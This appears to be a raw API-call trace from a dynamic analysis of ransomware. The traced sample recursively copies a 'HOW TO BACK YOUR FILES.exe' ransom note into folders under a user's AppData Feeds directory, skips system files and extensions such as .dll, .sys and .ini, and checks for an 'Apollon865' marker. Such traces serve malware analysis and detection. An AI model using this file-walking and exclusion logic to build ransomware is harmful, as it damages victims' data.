	[0046.441] lstrcmpiW (lpString1="fwlink[1]", lpString2=".sys") returned 1
	[0046.441] lstrlenW (lpString="fwlink[1]") returned 9
	[0046.441] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds"
	[0046.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0046.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0046.441] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds") returned 59
	[0046.441] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds"
	[0046.441] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.441] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.447] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.447] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33c25150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33c25150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.447] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.447] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.447] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.447] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33c25150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33c25150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.447] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.448] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.448] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.448] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.448] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6e0227e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms", cAlternateFileName="FEEDSS~1.FEE")) returned 1
	[0046.448] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.448] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="Apollon865.txt.exe") returned 1
	[0046.448] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2=".") returned 1
	[0046.448] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="..") returned 1
	[0046.448] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="windows") returned -1
	[0046.448] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="bootmgr") returned 1
	[0046.448] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="temp") returned -1
	[0046.448] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="pagefile.sys") returned -1
	[0046.448] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="boot") returned 1
	[0046.448] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="ids.txt") returned -1
	[0046.448] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="ntuser.dat") returned -1
	[0046.448] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="perflogs") returned -1
	[0046.448] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2="MSBuild") returned -1
	[0046.448] lstrlenW (lpString="FeedsStore.feedsdb-ms") returned 21
	[0046.448] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\*") returned 61
	[0046.448] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="FeedsStore.feedsdb-ms" | out: lpString1="FeedsStore.feedsdb-ms") returned="FeedsStore.feedsdb-ms"
	[0046.448] lstrlenW (lpString="FeedsStore.feedsdb-ms") returned 21
	[0046.448] lstrlenW (lpString="Apollon865") returned 10
	[0046.448] lstrcmpiW (lpString1="feedsdb-ms", lpString2="Apollon865") returned 1
	[0046.448] lstrlenW (lpString=".dll") returned 4
	[0046.448] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2=".dll") returned 1
	[0046.448] lstrlenW (lpString=".lnk") returned 4
	[0046.448] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2=".lnk") returned 1
	[0046.448] lstrlenW (lpString=".ini") returned 4
	[0046.448] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2=".ini") returned 1
	[0046.448] lstrlenW (lpString=".sys") returned 4
	[0046.448] lstrcmpiW (lpString1="FeedsStore.feedsdb-ms", lpString2=".sys") returned 1
	[0046.448] lstrlenW (lpString="FeedsStore.feedsdb-ms") returned 21
	[0046.448] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Microsoft Feeds~" | out: lpString1="Microsoft Feeds~") returned="Microsoft Feeds~"
	[0046.449] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0046.449] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9a) returned 0x599d28
	[0046.449] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0046.449] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 1
	[0046.449] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.449] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="Apollon865.txt.exe") returned -1
	[0046.449] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2=".") returned 1
	[0046.449] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="..") returned 1
	[0046.449] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="windows") returned -1
	[0046.449] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="bootmgr") returned -1
	[0046.449] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="temp") returned -1
	[0046.449] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="pagefile.sys") returned -1
	[0046.449] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="boot") returned -1
	[0046.449] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="ids.txt") returned -1
	[0046.449] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="ntuser.dat") returned -1
	[0046.449] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="perflogs") returned -1
	[0046.449] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="MSBuild") returned -1
	[0046.449] lstrlenW (lpString="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 39
	[0046.449] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 76
	[0046.449] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~" | out: lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~"
	[0046.449] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0046.449] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc8) returned 0x599450
	[0046.449] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0046.449] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 0
	[0046.449] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.449] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0046.449] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~"
	[0046.449] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0046.449] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0046.449] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 99
	[0046.449] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~"
	[0046.450] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.450] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.453] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.453] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33c25150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33c25150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.454] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.454] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.454] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.454] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33c25150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33c25150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.454] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.454] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.454] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.454] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.454] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33c25150, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33c25150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.454] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.454] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d69eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d69eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 1
	[0046.454] lstrcmpiW (lpString1="WebSlices~", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.454] lstrcmpiW (lpString1="WebSlices~", lpString2="Apollon865.txt.exe") returned 1
	[0046.454] lstrcmpiW (lpString1="WebSlices~", lpString2=".") returned 1
	[0046.454] lstrcmpiW (lpString1="WebSlices~", lpString2="..") returned 1
	[0046.454] lstrcmpiW (lpString1="WebSlices~", lpString2="windows") returned -1
	[0046.454] lstrcmpiW (lpString1="WebSlices~", lpString2="bootmgr") returned 1
	[0046.454] lstrcmpiW (lpString1="WebSlices~", lpString2="temp") returned 1
	[0046.454] lstrcmpiW (lpString1="WebSlices~", lpString2="pagefile.sys") returned 1
	[0046.454] lstrcmpiW (lpString1="WebSlices~", lpString2="boot") returned 1
	[0046.454] lstrcmpiW (lpString1="WebSlices~", lpString2="ids.txt") returned 1
	[0046.454] lstrcmpiW (lpString1="WebSlices~", lpString2="ntuser.dat") returned 1
	[0046.454] lstrcmpiW (lpString1="WebSlices~", lpString2="perflogs") returned 1
	[0046.454] lstrcmpiW (lpString1="WebSlices~", lpString2="MSBuild") returned 1
	[0046.454] lstrlenW (lpString="WebSlices~") returned 10
	[0046.454] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*") returned 101
	[0046.454] lstrcpyW (in: lpString1=0x2d3e618, lpString2="WebSlices~" | out: lpString1="WebSlices~") returned="WebSlices~"
	[0046.454] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0046.454] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xde) returned 0x599450
	[0046.455] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0046.455] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d69eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d69eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 0
	[0046.455] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.455] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0046.455] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~"
	[0046.455] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0046.455] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0046.455] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 110
	[0046.455] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~"
	[0046.455] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.455] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.463] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.463] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33c25150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33c25150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.463] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.464] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.464] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.464] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33c25150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33c25150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.464] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.464] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.464] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.464] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.464] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33c25150, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33c25150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.464] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.464] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52d69eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52d69eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6e0227e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Suggested Sites~.feed-ms", cAlternateFileName="SUGGES~1.FEE")) returned 1
	[0046.464] lstrcmpiW (lpString1="Suggested Sites~.feed-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.464] lstrcmpiW (lpString1="Suggested Sites~.feed-ms", lpString2="Apollon865.txt.exe") returned 1
	[0046.464] lstrcmpiW (lpString1="Suggested Sites~.feed-ms", lpString2=".") returned 1
	[0046.464] lstrcmpiW (lpString1="Suggested Sites~.feed-ms", lpString2="..") returned 1
	[0046.464] lstrcmpiW (lpString1="Suggested Sites~.feed-ms", lpString2="windows") returned -1
	[0046.464] lstrcmpiW (lpString1="Suggested Sites~.feed-ms", lpString2="bootmgr") returned 1
	[0046.464] lstrcmpiW (lpString1="Suggested Sites~.feed-ms", lpString2="temp") returned -1
	[0046.464] lstrcmpiW (lpString1="Suggested Sites~.feed-ms", lpString2="pagefile.sys") returned 1
	[0046.464] lstrcmpiW (lpString1="Suggested Sites~.feed-ms", lpString2="boot") returned 1
	[0046.464] lstrcmpiW (lpString1="Suggested Sites~.feed-ms", lpString2="ids.txt") returned 1
	[0046.464] lstrcmpiW (lpString1="Suggested Sites~.feed-ms", lpString2="ntuser.dat") returned 1
	[0046.464] lstrcmpiW (lpString1="Suggested Sites~.feed-ms", lpString2="perflogs") returned 1
	[0046.464] lstrcmpiW (lpString1="Suggested Sites~.feed-ms", lpString2="MSBuild") returned 1
	[0046.464] lstrlenW (lpString="Suggested Sites~.feed-ms") returned 24
	[0046.464] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*") returned 112
	[0046.464] lstrcpyW (in: lpString1=0x2d3e62e, lpString2="Suggested Sites~.feed-ms" | out: lpString1="Suggested Sites~.feed-ms") returned="Suggested Sites~.feed-ms"
	[0046.464] lstrlenW (lpString="Suggested Sites~.feed-ms") returned 24
	[0046.464] lstrlenW (lpString="Apollon865") returned 10
	[0046.464] lstrcmpiW (lpString1="s~.feed-ms", lpString2="Apollon865") returned 1
	[0046.464] lstrlenW (lpString=".dll") returned 4
	[0046.464] lstrcmpiW (lpString1="Suggested Sites~.feed-ms", lpString2=".dll") returned 1
	[0046.464] lstrlenW (lpString=".lnk") returned 4
	[0046.465] lstrcmpiW (lpString1="Suggested Sites~.feed-ms", lpString2=".lnk") returned 1
	[0046.465] lstrlenW (lpString=".ini") returned 4
